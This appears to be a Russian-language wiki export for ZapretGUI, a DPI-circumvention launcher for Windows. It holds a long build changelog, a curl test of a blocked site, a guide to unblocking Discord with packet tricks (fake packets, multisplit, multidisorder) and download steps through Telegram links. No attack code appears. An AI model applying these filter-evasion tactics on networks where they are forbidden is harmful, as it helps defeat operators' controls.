`21.0.0.28` — удалена кнопка сброса проверок и весь кэш проверок: теперь всё проверяется через WinAPI. - `21.0.0.36` — полностью вырезан Telegram-модуль отправки логов как устаревшая логика. - `21.0.0.39` — пресеты теперь собираются автоматически сборщиком. - `21.0.0.43` — переписано управление WinDivert, переписана карточка таргетов. ### 💾 Хранение настроек и установка (21.0.0.51 → 21.0.0.54) - Настройки теперь хранятся в одном файле вместо реестра Windows. - Программа устанавливается в корень системного диска. ### ⚙️ Нагрузка на CPU и потоки (21.0.0.60 → 21.0.0.65, 21.0.0.123) - `21.0.0.60–65` — убраны лишние таймеры, которые нагружали ЦП. - `21.0.0.123` — каждый компонент программы работает в своём потоке. ### 🗂️ Профили и редактор списков (21.0.0.70, 78, 79) - `21.0.0.70` — переработана `profile_setup_page`: компактная раскладка, крупный список стратегий, подсветка активной стратегии, страницы под-стратегий. - `21.0.0.78` — минимальные пользовательские профили (секция в `settings.json`, автосоздание файлов списков, безопасная стратегия для `winws2`). - `21.0.0.79` — новая вкладка «Editor» для правки hostlist/ipset с валидацией, нумерацией строк и запретом сохранять с ошибками. ### 🚀 «Ускорения» и фикс краша интернета (21.0.0.100 → 21.0.0.117) - Длинная серия сборок с заметками «ускорение / убыстрение / очень большое убыстрение». - `21.0.0.102–103` — фикс критичного бага в логике, который «крашил весь интернет». - `21.0.0.111` — долгоживущие `winws`/`winws2` запускаются без постоянных stdout/stderr-пайпов. - `21.0.0.82` (ранее) — найдена и устранена главная причина тормозов: GUI сам читал файлы, парсил preset и строил данные при открытии «Мои пресеты» и «Профили». ### 🎛️ Пресеты 1.9.9 и ветки payload (21.0.0.124 → 21.0.0.129) - `21.0.0.124` — «Запрет 1» по поведению как «Запрет 2»: всё пишет во временный конфиг-файл. - `21.0.0.125–127` — добавлены новые пресеты 1.9.9 (часть — экспериментально). - `21.0.0.128` — несколько веток payload в профиле, выбор ветки в GUI, улучшено сравнение стратегий. - `21.0.0.129` — блокчек больше не ломает обычный запуск. ### 🌐 DNS через WinAPI и Xbox (21.0.0.143 → 21.0.0.148) - `21.0.0.143–144` — DNS-запись переведена на WinAPI `Iphlpapi.dll`. - `21.0.0.145` — удалены легаси Advanced-настройки, добавлен Xbox DNS-провайдер. - `21.0.0.148` — обновления Xbox DNS, доработки UI, фиксы синхронизации состояния Telegram Proxy. ### 📨 Большой блок Telegram-прокси (21.0.0.142 → 21.0.0.181) Основная работа июня 2026 — собственная подсистема прокси для Telegram. - `21.0.0.142` — удалены блобы и страница автозапуска, прокси Telegram разнесён по отдельным файлам. - `21.0.0.146–147` — ядро MTProxy secret, Fake TLS, Cloudflare-fallback, SOCKS5, режимы UI. - `21.0.0.150–152` — подробные логи маршрутов прокси, объяснение ошибок инициализации MTProxy, подсказки при сбое маршрута SOCKS5. - `21.0.0.160` — поддержка TLS-обёрнутого upstream SOCKS для Telegram. - `21.0.0.167–171` — bundled-прокси по умолчанию для включённого upstream, скрытие отключённого Cloudflare из логов, пропуск повторных таймаутов HTTP-fallback. - `21.0.0.177–181` — приоритет «здоровых» upstream-прокси, удержание управляемого SOCKS впереди легаси-fallback'ов, фикс цикла штрафов, балансировка всплесков, ускорение открытия страницы и failover. ## 🔬 Под капотом: детали по коммитам > [!note] Источник этого раздела > Ниже — то, чего **нет в release notes**, но видно в публичной истории коммитов репозитория `youtubediscord/zapret`. Каждая dev-сборка вбирает десятки мелких коммитов (на отдельные дни приходится 30–40 штук), поэтому детали сгруппированы по периодам, а не привязаны к конкретному номеру версии. Это надёжные данные (реальные коммиты), просто более дробные, чем номера сборок. ### Апрель: демонтаж легаси и «runner»-архитектура DPI (21.0.0.6 → 21.0.0.50) - **Корневой фикс перезапуска (8 апреля, до .7):** «Исправил корневую причину в логике перезапуска Discord» — этот фикс лёг в основу версии 21.0.0.6. - **Lazy-экспорты и первый запуск (6 апреля):** «пакетные lazy-экспорты сработали очень заметно», «первый запуск теперь отполирован», единый лёгкий cleanup-helper для старта, закрытие по `WindowDeactivate`. - **Снос легаси (9–11 апреля):** удалена home-страница, удалены лишние карточки, `strategy_menu` удалён, «снёс лишний легаси код», «удаление легаси кода», «большой рефракторинг»; `telegram_proxy_page` переведён на единый fluent-путь без старого `ActionButton`; переписан виджет `win11_controls.py`; введён `HostsRuntimeState` (нормализованное состояние hosts). - **DPI как «runner» и фильтры как сущности (12–13 апреля):** «dpi как runner», «runtime dpi», «создание фильтров как отдельных сущностей», «распределили логику», «перенесли модули нормально»; переведена подсистема runtime-статуса DPI. - **WinDivert и circular-конфиги (11–13 апреля):** «переписано управление виндивертов (то что надо было ещё в 16 версии делать, но мы не умели)», карточка таргетов больше не расползается за пределы страницы; «stop-перед-immediate-restart переведён на более мягкий контракт»; circular-конфиги заработали корректно. ### Хранение настроек и нагрузка на CPU (21.0.0.51 → 21.0.0.65) - Переезд настроек из реестра в один файл, установка в корень системного диска (19 апреля). - Серия «убраны лишние таймеры, нагружавшие ЦП» (21 апреля) — снижение фоновой нагрузки от периодических опросов. ### Май: миграция на архитектуру профилей, папки, DNS-слой (21.0.0.66 → 21.0.0.96) - **Preset → profile (9 мая):** «migrate preset mode to profile architecture», «move preset core into presets package», «add profile block actions» — ядро пресетов вынесено в отдельный пакет, режим пресетов мигрирован на архитектуру профилей. - **Публичные API фич и DNS-слой (10 мая):** «Add feature public APIs and DNS layer» — заложен отдельный слой DNS, который дальше дорастёт до DNS через WinAPI. - **Профили пользователя и редактор (17–19 мая):** секция `user_profiles` в `settings.json`, проверка имён профилей (запрет дублей и пересечений с системными), новая вкладка **«Редактор»** для `hostlist`/`ipset` из текущего профиля; убран «широкий» `PageDepsContext` (страницы больше не получают общий «мешок зависимостей»); добавлена подсистема `src/folders` (папки, нормализация, сортировка); настройка «Всегда скрывать в трей при сворачивании и закрытии»; переработана `profile_setup_page` (главный экран — крупный список стратегий). ### «Ускорение» = меньше перерисовок + вынос в воркеры (21.0.0.97 → 21.0.0.117) То, что в release notes названо просто «ускорение/убыстрение», в коммитах раскрывается как точечная борьба с лишними перерисовками интерфейса: - **Без полных перезагрузок списков:** «обновлять user profile без общего refresh», «удалять preset из списка без полного refresh», «repaint only preset row action changes», «avoid preset list reload on activation failure», «reduce profile setup UI rebuilds». - **Вынос работы в фоновые worker-ы:** запись лога Strategy Scan, строки лога Telegram Proxy, проверка auto-deeplink, открытие ссылок/папок/документации — всё переведено в worker, чтобы не подвешивать интерфейс. - **Ускорение старта (24–25 мая):** кэш иконок пресетов, прогрев метаданных списка пресетов после старта, глобальный индекс поиска по сайдбару, отложенная отрисовка декоративных иконок, единое владение геометрией окна; «Fix WinDivert Monkey cleanup recovery». ### Критический баг и стабилизация запуска (21.0.0.100 → 21.0.0.104) - В районе 26 мая — фикс критичного бага в логике, который «крашил весь интернет» (повторен в .102 и .103). По коммитам соседнего периода видна общая стабилизация запуска и очистки WinDivert/Monkey. ### Большой рефактор «ленивых» рестартов воркеров (21.0.0.118 → 21.0.0.129, 31 мая) - Десятки коммитов вида «Defer … worker restarts» (отложенный перезапуск фоновых воркеров) по всем подсистемам: DNS, BlockCheck, updater, hosts, autostart, Telegram Proxy, orchestra, logs, DPI-настройки, профили. - «Narrow … runtime dependency» и «Hide … runtime behind callable/state» — рантайм-зависимости сужены и спрятаны за «ленивыми» вызовами (быстрее старт, меньше лишней инициализации). - «Fix WinDivert disabled service recovery» — восстановление при отключённой службе WinDivert. ### Июнь: подсистема Telegram-прокси (21.0.0.140 → 21.0.0.181) - **Разнос по файлам и чистка (7 июня):** удалены бинарные блобы и страница автозапуска, код прокси Telegram разнесён по модулям; «Improve Telegram MTProxy WSS framing», «Use automatic Cloudflare domains for Telegram proxy»; параллельно — чистка hosts (группировка AI-сервисов, фиксы карты доменов) и перевод чтений в worker/commands; «Use settings snapshot for Defender toggles». - **Маршрутизация MTProxy и диагностика (9–10 июня):** «Route MTProxy CDN traffic through fallback WSS», «Keep MTProxy off unsafe cross-DC WSS», подробные логи маршрутов прокси, объяснения ошибок инициализации MTProxy и подсказки при сбое SOCKS5; «Replace force DNS toggle with action buttons»; крупный refactor «Use shared state for … queue» (общее состояние очередей записи/загрузки). - **Надёжность upstream-прокси (11–12 июня):** bundled-прокси по умолчанию, поддержка TLS-обёрнутого upstream-SOCKS, lightweight-сигнатуры payload профиля; затем доводка — приоритет «здоровых» прокси, отсечение «больных», устранение цикла штрафов, балансировка всплесков, ускорение failover. ### Сквозная тема июня: доступность и клавиатура (скрыта от release notes) Release notes об этом молчат, но в июне прошла **большая работа над доступностью**, которой раньше не было: - **Поддержка скринридеров:** десятки коммитов «Announce … choices to screen readers» — озвучка выборов почти на всех экранах (логи, About, BlockCheck, Telegram-прокси, источник пресетов, orchestra, язык, Win11-комбо, hosts, профили, диагностика, поиск по сайдбару). - **Клавиатурная навигация:** «Enable keyboard navigation for segmented tabs», «Enable keyboard activation for ready strategies», «Make auto DNS card keyboard accessible». - **Вынос рендеринга в Web Workers:** рейтинги orchestra, фильтрация списка стратегий, фильтрация логов orchestra, планирование переупорядочивания профилей — вынесены в воркеры, чтобы не блокировать UI. ## Каждая версия по отдельности (21.0.0.181 → 21.0.0.6) Ниже — каждая опубликованная сборка ветки 21.0.0 отдельной записью, от новой к старой. Это наглядно показывает объём проделанной работы: за два с небольшим месяца вышло свыше 120 dev-сборок. ### 🗓️ Июнь 2026 — подсистема Telegram-прокси и доступность **Zapret 21.0.0.181** — 12 июня Ускорено резервное переключение (failover) на upstream-SOCKS для Telegram; сохранённые настройки Telegram Proxy показываются выборочно. **Zapret 21.0.0.180** — 12 июня Починен ключ порядка профилей-пресетов; сглажены всплески нагрузки на upstream-прокси; страница Telegram Proxy открывается быстрее. **Zapret 21.0.0.179** — 12 июня Устранён цикл «штрафов» upstream-прокси Telegram; добавлена диагностика профилей-пресетов. **Zapret 21.0.0.178** — 12 июня Управляемый Telegram-SOCKS ставится в очереди впереди старых fallback-вариантов. **Zapret 21.0.0.177** — 12 июня При выборе прокси предпочитаются более «здоровые» (рабочие) upstream-прокси Telegram. **Zapret 21.0.0.176** — 12 июня Промежуточная сборка периода доводки надёжности Telegram-прокси. **Zapret 21.0.0.171** — 11 июня Повторные таймауты HTTP-fallback Telegram больше не повторяются вхолостую. **Zapret 21.0.0.168** — 11 июня Отключённый Cloudflare убран из логов маршрутов Telegram, чтобы не путать. **Zapret 21.0.0.167** — 11 июня Если включён upstream Telegram — по умолчанию используется встроенный (bundled) прокси. **Zapret 21.0.0.160** — 11 июня Поддержка upstream-SOCKS для Telegram, обёрнутого в TLS. **Zapret 21.0.0.156** — 11 июня Промежуточная сборка: начало работы над upstream-прокси Telegram. **Zapret 21.0.0.152** — 10 июня В лог добавлены подсказки, что делать при сбое маршрута SOCKS5. **Zapret 21.0.0.151** — 10 июня В лог добавлены понятные объяснения ошибок инициализации MTProxy. **Zapret 21.0.0.150** — 10 июня Подробные логи маршрутов Telegram-прокси — видно, через что идёт трафик. **Zapret 21.0.0.149** — 10 июня Общие фиксы багов. **Zapret 21.0.0.148** — 9 июня Обновлены DNS-серверы для Xbox; доработан UI; починена синхронизация состояния Telegram Proxy. **Zapret 21.0.0.147** — 9 июня Добавлены способы прокси для Telegram: MTProxy secret, Fake TLS, Cloudflare, SOCKS5; доработан UI. **Zapret 21.0.0.146** — 7 июня Локальный mtproxy; запасной путь через Cloudflare; ядро MTProxy secret; режимы интерфейса. **Zapret 21.0.0.145** — 7 июня Удалены устаревшие Advanced-настройки; добавлен Xbox как DNS-провайдер. **Zapret 21.0.0.144** — 7 июня Переделана страница Telegram-прокси; DNS-запросы идут через системный WinAPI `Iphlpapi.dll`. **Zapret 21.0.0.143** — 7 июня Та же работа: страница Telegram-прокси изменена, DNS переведён на WinAPI `Iphlpapi.dll`. **Zapret 21.0.0.142** — 7 июня Удалены бинарные блобы и страница автозапуска; код Telegram-прокси разнесён по отдельным файлам. **Zapret 21.0.0.141** — 6 июня Промежуточная сборка: старт переработки Telegram-прокси. **Zapret 21.0.0.140** — 6 июня По сути промежуточная сборка (шуточная заметка автора «а точно версии же надо выпускать»). ### 🗓️ Май 2026 — профили, ускорения, ленивые рестарты **Zapret 21.0.0.129** — 31 мая Блокчек (подбор стратегии) больше не ломает обычный запуск. **Zapret 21.0.0.128** — 31 мая В профиле можно держать несколько веток payload; выбор ветки прямо в GUI; удобнее сравнивать стратегии. **Zapret 21.0.0.127** — 30 мая Добавлены новые пресеты версии 1.9.9 (часть — пока экспериментально). **Zapret 21.0.0.126** — 30 мая Добавлены новые пресеты 1.9.9. **Zapret 21.0.0.125** — 30 мая Добавлены новые пресеты 1.9.9. **Zapret 21.0.0.124** — 30 мая «Запрет 1» теперь ведёт себя как «Запрет 2»: всё пишется во временный конфиг-файл. **Zapret 21.0.0.123** — 30 мая Каждый компонент программы вынесен в свой поток — отзывчивее интерфейс. **Zapret 21.0.0.118** — 29 мая Промежуточная сборка периода оптимизации скорости. **Zapret 21.0.0.117** — 28 мая Оптимизация скорости: меньше полных перерисовок списков пресетов и профилей (авторская заметка «ускорение»). **Zapret 21.0.0.116** — 28 мая Оптимизация скорости («ускорение»). **Zapret 21.0.0.115** — 28 мая Оптимизация скорости («ускорение»). **Zapret 21.0.0.114** — 28 мая Промежуточная сборка периода оптимизации скорости. **Zapret 21.0.0.113** — 27 мая Крупная оптимизация скорости («очень большое убыстрение»). **Zapret 21.0.0.112** — 27 мая Оптимизация скорости («убыстрение»). **Zapret 21.0.0.111** — 27 мая Долгоживущие `winws`/`winws2` запускаются без постоянных stdout/stderr-каналов — меньше накладных расходов. **Zapret 21.0.0.110** — 27 мая Фиксы багов (авторская заметка «фикс багов (навреное)»). **Zapret 21.0.0.109** — 27 мая Фиксы багов («навреное»). **Zapret 21.0.0.108** — 27 мая Фиксы багов («навреное»). **Zapret 21.0.0.107** — 27 мая Фиксы багов («навреное»). **Zapret 21.0.0.106** — 27 мая Фиксы багов («навреное»). **Zapret 21.0.0.105** — 27 мая Фиксы багов. **Zapret 21.0.0.104** — 27 мая Промежуточная сборка серии фиксов и ускорений. **Zapret 21.0.0.103** — 26 мая Фикс критичного бага в логике, который «крашил весь интернет» (повторный). **Zapret 21.0.0.102** — 26 мая Фикс критичного бага в логике, который «крашил весь интернет». **Zapret 21.0.0.101** — 25 мая Оптимизация скорости («ускорение»). **Zapret 21.0.0.100** — 25 мая Оптимизация скорости («ускорение»). **Zapret 21.0.0.99** — 25 мая Промежуточная сборка периода оптимизации скорости. **Zapret 21.0.0.98** — 25 мая Промежуточная сборка периода оптимизации скорости. **Zapret 21.0.0.97** — 25 мая Промежуточная сборка периода оптимизации скорости. **Zapret 21.0.0.96** — 25 мая Промежуточная сборка периода доводки профилей и пресетов. **Zapret 21.0.0.95** — 24 мая Промежуточная сборка периода доводки профилей и пресетов. **Zapret 21.0.0.94** — 24 мая Фиксы багов. **Zapret 21.0.0.93** — 24 мая Улучшена работа пресетов. **Zapret 21.0.0.92** — 24 мая Удалена вкладка списков (листов). **Zapret 21.0.0.91** — 24 мая Промежуточная сборка периода доводки профилей и пресетов. **Zapret 21.0.0.90** — 24 мая Промежуточная сборка периода доводки профилей и пресетов. **Zapret 21.0.0.89** — 24 мая Промежуточная сборка периода доводки профилей и пресетов. **Zapret 21.0.0.88** — 23 мая Промежуточная сборка периода доводки профилей и пресетов. **Zapret 21.0.0.87** — 23 мая Промежуточная сборка периода доводки профилей и пресетов. **Zapret 21.0.0.86** — 23 мая Промежуточная сборка периода доводки профилей и пресетов. **Zapret 21.0.0.85** — 22 мая Промежуточная сборка периода доводки профилей и пресетов. **Zapret 21.0.0.84** — 21 мая Промежуточная сборка периода доводки профилей и пресетов. **Zapret 21.0.0.83** — 21 мая Промежуточная сборка периода доводки профилей и пресетов. **Zapret 21.0.0.82** — 20 мая Найдена причина тормозов: GUI сам читал файлы и парсил preset при открытии «Мои пресеты»/«Профили». **Zapret 21.0.0.81** — 20 мая Промежуточная сборка периода работы над профилями. **Zapret 21.0.0.80** — 20 мая Промежуточная сборка периода работы над профилями. **Zapret 21.0.0.79** — 19 мая Новая вкладка «Редактор» для правки hostlist/ipset текущего профиля: валидация, нумерация строк, запрет сохранять с ошибками. **Zapret 21.0.0.78** — 19 мая Минимальные пользовательские профили: секция `user_profiles` в `settings.json`, автосоздание списков, безопасная стратегия для `winws2`. **Zapret 21.0.0.77** — 19 мая Промежуточная сборка периода работы над профилями и редактором списков. **Zapret 21.0.0.76** — 19 мая Промежуточная сборка периода работы над профилями и редактором списков. **Zapret 21.0.0.75** — 18 мая Промежуточная сборка: подсистема папок `src/folders` (нормализация, сортировка, операции). **Zapret 21.0.0.74** — 18 мая Промежуточная сборка: настройка «Всегда скрывать в трей при сворачивании и закрытии». **Zapret 21.0.0.73** — 17 мая Промежуточная сборка периода работы над профилями. **Zapret 21.0.0.72** — 17 мая Промежуточная сборка периода работы над профилями. **Zapret 21.0.0.71** — 17 мая Промежуточная сборка периода работы над профилями. **Zapret 21.0.0.70** — 17 мая Переработана страница профиля: главный экран — крупный список готовых стратегий, подсветка активной, под-страницы под детали. **Zapret 21.0.0.69** — 17 мая Промежуточная сборка периода работы над DNS-слоем и профилями. **Zapret 21.0.0.68** — 17 мая После запуска отдельный post-startup слой запускает DNS-задачу; починен `AttributeError` в `DnsFeature`. **Zapret 21.0.0.67** — 17 мая Промежуточная сборка периода работы над DNS-слоем. **Zapret 21.0.0.66** — 17 мая Возобновление активной разработки после паузы (авторская заметка «привет :)»). До этого, 9–10 мая, прошла миграция архитектуры `preset → profile` и закладка DNS-слоя. ### 🗓️ Апрель 2026 — демонтаж легаси и новая архитектура **Zapret 21.0.0.65** — 21 апреля Убраны лишние таймеры, нагружавшие процессор. **Zapret 21.0.0.64** — 21 апреля Убраны лишние таймеры, нагружавшие процессор. **Zapret 21.0.0.63** — 21 апреля Убраны лишние таймеры, нагружавшие процессор. **Zapret 21.0.0.62** — 21 апреля Убраны лишние таймеры, нагружавшие процессор. **Zapret 21.0.0.61** — 21 апреля Убраны лишние таймеры, нагружавшие процессор. **Zapret 21.0.0.60** — 21 апреля Убраны лишние таймеры, нагружавшие процессор. **Zapret 21.0.0.59** — 20 апреля Промежуточная сборка периода фиксов и перехода на хранение настроек в файле. **Zapret 21.0.0.58** — 20 апреля Промежуточная сборка периода фиксов и хранения настроек. **Zapret 21.0.0.57** — 20 апреля Промежуточная сборка периода фиксов и хранения настроек. **Zapret 21.0.0.56** — 20 апреля Фиксы багов. **Zapret 21.0.0.55** — 20 апреля Фиксы багов. **Zapret 21.0.0.54** — 19 апреля Настройки хранятся в одном файле вместо реестра; программа ставится в корень системного диска. **Zapret 21.0.0.53** — 19 апреля Та же работа: настройки в файле вместо реестра, установка в корень диска. **Zapret 21.0.0.52** — 19 апреля Та же работа: настройки в файле вместо реестра, установка в корень диска. **Zapret 21.0.0.51** — 19 апреля Переход на хранение настроек в одном файле вместо реестра; установка в корень диска. **Zapret 21.0.0.50** — 13 апреля Тестовая сборка без заметок. **Zapret 21.0.0.49** — 13 апреля Промежуточная сборка дня рефакторинга страниц и пресетов. **Zapret 21.0.0.48** — 13 апреля Промежуточная сборка дня рефакторинга страниц и пресетов. **Zapret 21.0.0.47** — 13 апреля Промежуточная сборка дня рефакторинга страниц и пресетов. **Zapret 21.0.0.46** — 13 апреля Промежуточная сборка дня рефакторинга страниц и пресетов. **Zapret 21.0.0.45** — 13 апреля Промежуточная сборка дня рефакторинга страниц и пресетов. **Zapret 21.0.0.44** — 13 апреля Промежуточная сборка дня рефакторинга страниц и пресетов. **Zapret 21.0.0.43** — 13 апреля Переписано управление WinDivert; карточка таргетов переписана и больше не расползается за пределы страницы. **Zapret 21.0.0.42** — 13 апреля Промежуточная сборка: «runtime dpi», «dpi как runner», распределение логики по модулям. **Zapret 21.0.0.41** — 13 апреля Починены страницы — теперь все открываются нормально. **Zapret 21.0.0.40** — 13 апреля Промежуточная сборка: создание фильтров как отдельных сущностей. **Zapret 21.0.0.39** — 13 апреля Пресеты теперь собираются автоматически сборщиком. **Zapret 21.0.0.38** — 13 апреля Промежуточная сборка дня рефакторинга и выпила легаси. **Zapret 21.0.0.37** — 13 апреля Промежуточная сборка дня рефакторинга и выпила легаси. **Zapret 21.0.0.36** — 13 апреля Полностью вырезан Telegram-модуль отправки логов как устаревший. **Zapret 21.0.0.35** — 13 апреля Промежуточная сборка дня рефакторинга и выпила легаси. **Zapret 21.0.0.34** — 13 апреля Большой пакет исправлений (авторская заметка с матом «дохуя исправлено, проверяйте»). **Zapret 21.0.0.33** — 13 апреля Промежуточная сборка (авторская заметка «да нихуя ж не поменялось…»). **Zapret 21.0.0.32** — 13 апреля Промежуточная сборка (авторская заметка «да нихуя ж не поменялось…»). **Zapret 21.0.0.31** — 13 апреля Промежуточная сборка дня рефакторинга. **Zapret 21.0.0.30** — 12 апреля Фиксы багов (авторская заметка «…и на сегодня хватит я устал»). **Zapret 21.0.0.29** — 12 апреля Промежуточная сборка периода перехода проверок на WinAPI. **Zapret 21.0.0.28** — 12 апреля Удалены кнопка сброса проверок и кэш проверок; всё проверяется через WinAPI. **Zapret 21.0.0.27** — 12 апреля Промежуточная сборка периода перехода проверок на WinAPI. **Zapret 21.0.0.26** — 12 апреля Промежуточная сборка: «strategy_menu удалён», «перенесли модули нормально». **Zapret 21.0.0.25** — 12 апреля Промежуточная сборка периода рефакторинга. **Zapret 21.0.0.24** — 12 апреля Промежуточная сборка периода рефакторинга. **Zapret 21.0.0.23** — 12 апреля Крупный рефакторинг (авторская заметка «сильный рефраткоринг»). **Zapret 21.0.0.22** — 12 апреля Крупный рефакторинг («сильный рефраткоринг»). **Zapret 21.0.0.21** — 11 апреля Circular-конфиги (циклические конфиги) теперь работают корректно. **Zapret 21.0.0.20** — 11 апреля Промежуточная сборка периода работы над circular-конфигами. **Zapret 21.0.0.19** — 11 апреля Тотальная оптимизация кода и первого показа окна; удалена почти половина лишних функций. **Zapret 21.0.0.18** — 11 апреля Добавлены новые circular-конфиги. **Zapret 21.0.0.17** — 11 апреля Удалены старые компоненты. **Zapret 21.0.0.16** — 11 апреля Удалён оркестраторный «Запрет 2»; удалены все старые методы автозапуска. **Zapret 21.0.0.15** — 11 апреля Подготовка к удалению оркестраторного «Запрет 2» как вида параметра. **Zapret 21.0.0.14** — 11 апреля Промежуточная сборка периода демонтажа легаси. **Zapret 21.0.0.13** — 11 апреля Промежуточная сборка перед большим демонтажем (авторская заметка «мне страшно»). **Zapret 21.0.0.12** — 10 апреля Промежуточная сборка раннего демонтажа легаси. **Zapret 21.0.0.11** — 10 апреля Промежуточная сборка раннего демонтажа легаси. **Zapret 21.0.0.10** — 10 апреля Фиксы багов. **Zapret 21.0.0.9** — 9 апреля Повторная выкладка изменений (авторская заметка «винда сбросила последние изменения»). **Zapret 21.0.0.8** — 9 апреля Удалены лишние карточки интерфейса. **Zapret 21.0.0.7** — 9 апреля Home-страница полностью удалена. **Zapret 21.0.0.6** — 6 апреля Фиксы багов; улучшение быстродействия. Стартовая точка данного changelog. Сразу после неё (коммит от 8 апреля) была исправлена корневая причина в логике перезапуска Discord. > [!note] О нумерации и ветке 20.4.4.x > Между `21.0.0.6` (6 апреля) и `21.0.0.7` (9 апреля) выходили ещё сборки старой ветки `20.4.4.x` (`20.4.4.170–175`) — это «хвост» предыдущей серии, не относящийся к линии 21. Поэтому в общем списке релизов на GitHub номера 21-й и 20-й веток какое-то время чередуются по дате. ## 📚 См. также - [[home|🏠 ZapretGUI — главная]] — что это за лаунчер - [[download|⬇️ Как скачать и установить из официального источника]] - [[Zapret/about|🔐 Что такое Zapret]] - [[discord-cdn-fix-fake-repos-june-2026|👾 Фейковые клоны Zapret с малварью]] — почему важно качать только из официального репозитория - 🔗 [Страница релизов в Forgejo](https://git.zapret.moe/zapretdiscordyoutube/zapretgui/releases) — первоисточник changelog --- --- date: tags: link: aliases: img: --- Пример рабочий ```powershell PS C:\Users\Admin> curl.exe -v http://porno365.sexy * Host porno365.sexy:80 was resolved. * IPv6: (none) * IPv4: 5.196.61.237 * Trying 5.196.61.237:80... * Connected to porno365.sexy (5.196.61.237) port 80 * using HTTP/1.x > GET / HTTP/1.1 > Host: porno365.sexy > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 302 Found < Date: Fri, 05 Dec 2025 18:46:03 GMT < Server: Apache < Set-Cookie: SID=da7a03c9542fb9cff68f74f1ab6a5f1d; path=/ < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Pragma: no-cache < Location: https://my.porno365x.link/ < Content-Length: 0 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host porno365.sexy left intact PS C:\Users\Admin> ``` https://t.me/youtubediscordvpn/175993 [tg://resolve?domain=youtubediscordvpn&post=175993](tg://resolve?domain=youtubediscordvpn&post=175993) Нерабочий ```powershell PS C:\Users\Admin> curl.exe -v http://porno365.sexy * Host porno365.sexy:80 was resolved. * IPv6: (none) * IPv4: 5.196.61.237 * Trying 5.196.61.237:80... * Connected to porno365.sexy (5.196.61.237) port 80 * using HTTP/1.x > GET / HTTP/1.1 > Host: porno365.sexy > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off ``` --- --- tags: - Discord - Дискорд --- # Как обойти блокировки Discord? Обход блокировок Дискорд через [[Zapret2|Zapret]] (Запрет) 2 Приложение дискорда не было рассчитано на те условия в которых мы находимся, где одна часть работает, а другая не работает. Поэтому приложение часто ложно подключается или частично не работает. Тактика с дискордом всегда одинаковая - подобрать несколько стратегий для веб-версии (https://discord.com/app) с помощью категории Discord TCP, перейти к приложению чтобы пробить плашку обновления с помощью категории Discord Update и тогда приложение должно работать. Останется один нюанс - с не очень подходящей стратегией приложение заработает, но не медиа и Подключение к голосовым каналам. Тут на помощь придут те самые ранее подобранные несколько стратегий, среди которых необходимо будет переключаться чтобы найти те, с которыми работает и медиа и подключение к голосовым каналам. При смене стратегий, будучи подключенным к голосовому каналу, следует отключиться от него и подключиться снова, чтобы убедиться в том что соединение происходит корректно. После этого можно проверять работу голоса и стримов. Основные [[Создание своей категории|категории]] следующие: - `updates.discord.com` — категория, отвечающая за обновления программы (*загрузочный экран `Startring...` который грузится перед тем как показывать приложение*). Обычно пробивается через стандартный [[multisplit]] или [[multidisorder]] с комплексными сложными позициями резки. Не требует `n` режима фильтрации, достаточно пропускать первые 8-10 пакетов с данными (режим `--out-range=-d10`) - `discord.media` — категория, отвечающая за подключение к голосовым каналом, прежде чем пойдёт обработка stun трафика. Требует применение [[fake]] в любом виде (будто чистый fake, либо исопльзование фейков с нарезкой или внутри хоста). - `discord.com` — категория, отвечающая за основной интерфейс приложения и сайта. Требует тяжелых стратегий, зачастую из нескольких фаз. - `Голосовые звонки/чаты` — соответственно весь stun трафик для голосовых и видеозвонков (*включает и Discord и Telegram*). Пробивается обычно легко обычными fake пакетами. - `Discord UDP` — обычно не используется Дискордом, но если он использует QUIC (*что бывает редко на РФ провайдерах, где QUIC полностью заблокирован*), категория может помочь. Обычно не используется и активировать её не нужно. ![[Pasted image 20260125130343.png]] --- --- height: 2500 --- # Как скачать [[Zapret2]] GUI [[home|На главную]] ![[Как пользоваться Zapret#Словарь терминов (глоссарий)]] [[Типичные ошибки#Ошибки при установке|Здесь]] можете посмотреть типичные ошибки при установке. # Zapret GUI (windows 10+) > [!DANGER] > Zapret GUI доступен только для Windows 10 1809+ и выше. Для Windows 7, Windows 8 и Windows 10 1803 (и ниже) скачайте его [[🐳 Win 7 и 8|здесь]]. Всего существует 5 основных способов скачать Zapret GUI: ## Способ 1. Самый простой Перейти по ссылке: https://t.me/bypassblock/399 И скачать `ZapretSetup.exe` после чего установить: ![[Pasted image 20250914200533.png]] ![[Pasted image 20250914200818.png]] ![[Pasted image 20250914200828.png]] В итоге Zapret появится в меню пуск: ![[Pasted image 20250914200550.png]] ## Способ 2. Через Telegram канал Перейти по ссылке: https://t.me/zapretnetdiscordyoutube Скачать любую `dev` версию (обычно выходит часто) либо, ввести в поиске этого канала `🔄 Канал обновлений: STABLE` После чего скачайте `exe` файл и проделайте ту же установку что и в способе 1: ![[Pasted image 20250914200725.png]] ## Способ 3. Через Telegram бота Перейти по ссылке: https://t.me/zapretbypass_bot Набрать команду `/get_stable`. В результате чего бот выдаст файл – далее установка как в способе 1. ![[Pasted image 20250914200938.png]] ## Способ 4. Через Forgejo Откройте [страницу релизов в Forgejo](https://git.zapret.moe/zapretdiscordyoutube/zapretgui/releases), выберите стабильный или предварительный выпуск и в блоке «Загрузки» скачайте файл установщика с расширением `.exe`. Файл `.sha256` рядом нужен только для проверки контрольной суммы. ![[zapret-forgejo-release-downloads-2026-08.png]] Установка как в способе 1. ## Способ 5. Собрать Zapret самостоятельно Пройдите по ссылке: https://git.zapret.moe/zapretdiscordyoutube/zapretgui/src/branch/main/docs/build.md --- Ниже представлены другие системы ![[android#🤖 Дурилки трафика (DPI) для Android]] ----- ![[linux#Установка Zapret на linux]] ---- ![[ZapretTeam]] --- --- tags: link: aliases: img: --- # ❓ FAQ (часто задаваемые вопросы) [[home|На главную]] ## Сайт никак не хочет работать > [!NOTE] > Существует несколько способов принудительно добавить свои сайты. ### Добавить свои сайты В каждой строке этого файла вы пишете имя сайта (домен первого уровня, без `https:\\`, `www`), к которому нужно применять трюки `nfqws`. ``` blocked-site.com another-blocked-site.org example.net ru blockedsite.com ^onlyThisSite.com ``` Когда вы пытаетесь зайти на какой-то сайт, `nfqws` "смотрит" на имя этого сайта (из HTTP-заголовка `Host:` или из TLS SNI для HTTPS). Если это имя есть в вашем файле `--hostlist` (или является поддоменом сайта из списка, например, `sub.blocked-site.com` тоже попадет под правило для `blocked-site.com`. Если нужно вписать всю доменную зону `*.ru` то пишите в новой строчке просто `ru`), то `nfqws` применит к этому 